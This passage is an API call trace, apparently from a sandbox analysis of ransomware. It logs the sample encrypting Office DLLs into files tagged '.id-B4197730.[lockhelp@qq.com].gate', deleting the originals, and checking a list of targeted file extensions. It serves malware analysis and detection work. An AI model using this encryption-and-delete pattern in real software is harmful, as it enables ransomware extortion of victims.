nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x48c0, lpOverlapped=0x0) returned 1 [0319.172] WriteFile (in: hFile=0x35c, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0x48d0, lpOverlapped=0x0) returned 1 [0319.174] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0319.174] WriteFile (in: hFile=0x35c, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0x11a, lpOverlapped=0x0) returned 1 [0319.174] SetEndOfFile (hFile=0x35c) returned 1 [0319.174] CloseHandle (hObject=0x35c) returned 1 [0319.174] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.174] SetEndOfFile (hFile=0x358) returned 1 [0319.175] CloseHandle (hObject=0x358) returned 1 [0319.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.175] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1 [0319.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0319.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0319.176] lstrlenW (lpString=".doc") returned 4 [0319.176] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.176] lstrlenW (lpString=".docx") returned 5 [0319.176] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.176] lstrlenW (lpString=".pdf") returned 4 [0319.176] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.176] lstrlenW (lpString=".xls") returned 4 [0319.176] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.176] lstrlenW (lpString=".xlsx") returned 5 [0319.176] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.176] lstrlenW (lpString=".ppt") returned 4 [0319.176] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0319.176] lstrlenW (lpString=".zip") returned 4 [0319.176] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.176] lstrlenW (lpString=".rar") returned 4 [0319.177] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.177] lstrlenW (lpString=".bz2") returned 4 [0319.177] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.177] lstrlenW (lpString=".7z") returned 3 [0319.177] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0319.177] lstrlenW (lpString=".dbf") returned 4 [0319.177] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0319.177] lstrlenW (lpString=".1cd") returned 4 [0319.177] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0319.177] lstrlenW (lpString=".jpg") returned 4 [0319.177] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0319.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0319.177] lstrlenW (lpString=".doc") returned 4 [0319.177] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.177] lstrlenW (lpString=".docx") returned 5 [0319.177] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.177] lstrlenW (lpString=".pdf") returned 4 [0319.177] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.177] lstrlenW (lpString=".xls") returned 4 [0319.177] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.177] lstrlenW (lpString=".xlsx") returned 5 [0319.178] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.178] lstrlenW (lpString=".ppt") returned 4 [0319.178] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0319.178] lstrlenW (lpString=".zip") returned 4 [0319.178] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.178] lstrlenW (lpString=".rar") returned 4 [0319.178] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.178] lstrlenW (lpString=".bz2") returned 4 [0319.178] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.178] lstrlenW (lpString=".7z") returned 3 [0319.178] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0319.178] lstrlenW (lpString=".dbf") returned 4 [0319.178] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0319.178] lstrlenW (lpString=".1cd") returned 4 [0319.178] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0319.178] lstrlenW (lpString=".jpg") returned 4 [0319.178] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.178] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.179] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0319.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0319.179] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=19136) returned 1 [0319.179] CloseHandle (hObject=0x358) returned 1 [0319.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0319.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0319.179] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.179] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0319.189] GetLastError () returned 0x0 [0319.189] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0319.281] WriteFile (in: hFile=0x35c, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0319.509] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0319.509] WriteFile (in: hFile=0x35c, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0x11e, lpOverlapped=0x0) returned 1 [0319.510] SetEndOfFile (hFile=0x35c) returned 1 [0319.510] CloseHandle (hObject=0x35c) returned 1 [0319.510] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.510] SetEndOfFile (hFile=0x358) returned 1 [0319.511] CloseHandle (hObject=0x358) returned 1 [0319.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.511] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0319.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0319.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0319.511] lstrlenW (lpString=".doc") returned 4 [0319.511] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.511] lstrlenW (lpString=".docx") returned 5 [0319.511] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.512] lstrlenW (lpString=".pdf") returned 4 [0319.512] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.512] lstrlenW (lpString=".xls") returned 4 [0319.512] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.512] lstrlenW (lpString=".xlsx") returned 5 [0319.512] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.512] lstrlenW (lpString=".ppt") returned 4 [0319.512] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0319.512] lstrlenW (lpString=".zip") returned 4 [0319.512] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.512] lstrlenW (lpString=".rar") returned 4 [0319.512] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.512] lstrlenW (lpString=".bz2") returned 4 [0319.512] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.512] lstrlenW (lpString=".7z") returned 3 [0319.512] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0319.512] lstrlenW (lpString=".dbf") returned 4 [0319.512] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0319.512] lstrlenW (lpString=".1cd") returned 4 [0319.512] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0319.512] lstrlenW (lpString=".jpg") returned 4 [0319.512] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0319.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0319.513] lstrlenW (lpString=".doc") returned 4 [0319.513] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.513] lstrlenW (lpString=".docx") returned 5 [0319.513] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.513] lstrlenW (lpString=".pdf") returned 4 [0319.513] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.513] lstrlenW (lpString=".xls") returned 4 [0319.513] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.513] lstrlenW (lpString=".xlsx") returned 5 [0319.513] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.513] lstrlenW (lpString=".ppt") returned 4 [0319.513] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0319.513] lstrlenW (lpString=".zip") returned 4 [0319.513] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.513] lstrlenW (lpString=".rar") returned 4 [0319.513] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.513] lstrlenW (lpString=".bz2") returned 4 [0319.513] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.513] lstrlenW (lpString=".7z") returned 3 [0319.513] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0319.513] lstrlenW (lpString=".dbf") returned 4 [0319.513] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0319.514] lstrlenW (lpString=".1cd") returned 4 [0319.514] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0319.514] lstrlenW (lpString=".jpg") returned 4 [0319.514] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.514] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.514] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31 [0319.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0319.514] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=24768) returned 1 [0319.515] CloseHandle (hObject=0x358) returned 1 [0319.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0319.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0319.515] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.515] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0319.516] GetLastError () returned 0x0 [0319.516] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x60c0, lpOverlapped=0x0) returned 1 [0319.544] WriteFile (in: hFile=0x35c, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0x60d0, lpOverlapped=0x0) returned 1 [0319.545] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0319.545] WriteFile (in: hFile=0x35c, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0x112, lpOverlapped=0x0) returned 1 [0319.545] SetEndOfFile (hFile=0x35c) returned 1 [0319.546] CloseHandle (hObject=0x35c) returned 1 [0319.546] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.546] SetEndOfFile (hFile=0x358) returned 1 [0319.547] CloseHandle (hObject=0x358) returned 1 [0319.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.547] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1 [0319.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0319.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0319.547] lstrlenW (lpString=".doc") returned 4 [0319.547] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.547] lstrlenW (lpString=".docx") returned 5 [0319.547] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.547] lstrlenW (lpString=".pdf") returned 4 [0319.547] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.547] lstrlenW (lpString=".xls") returned 4 [0319.547] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.547] lstrlenW (lpString=".xlsx") returned 5 [0319.547] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.547] lstrlenW (lpString=".ppt") returned 4 [0319.548] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0319.548] lstrlenW (lpString=".zip") returned 4 [0319.548] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.548] lstrlenW (lpString=".rar") returned 4 [0319.548] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.548] lstrlenW (lpString=".bz2") returned 4 [0319.548] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.548] lstrlenW (lpString=".7z") returned 3 [0319.548] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0319.548] lstrlenW (lpString=".dbf") returned 4 [0319.548] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0319.548] lstrlenW (lpString=".1cd") returned 4 [0319.548] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0319.548] lstrlenW (lpString=".jpg") returned 4 [0319.548] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0319.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0319.548] lstrlenW (lpString=".doc") returned 4 [0319.548] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.548] lstrlenW (lpString=".docx") returned 5 [0319.548] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.549] lstrlenW (lpString=".pdf") returned 4 [0319.549] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.549] lstrlenW (lpString=".xls") returned 4 [0319.549] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.549] lstrlenW (lpString=".xlsx") returned 5 [0319.549] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.549] lstrlenW (lpString=".ppt") returned 4 [0319.549] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0319.549] lstrlenW (lpString=".zip") returned 4 [0319.549] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.549] lstrlenW (lpString=".rar") returned 4 [0319.549] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.549] lstrlenW (lpString=".bz2") returned 4 [0319.549] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.549] lstrlenW (lpString=".7z") returned 3 [0319.549] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0319.549] lstrlenW (lpString=".dbf") returned 4 [0319.549] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0319.549] lstrlenW (lpString=".1cd") returned 4 [0319.549] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0319.551] lstrlenW (lpString=".jpg") returned 4 [0319.551] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.551] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.551] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33 [0319.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0319.552] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=19136) returned 1 [0319.552] CloseHandle (hObject=0x358) returned 1 [0319.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0319.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0319.552] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.552] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: 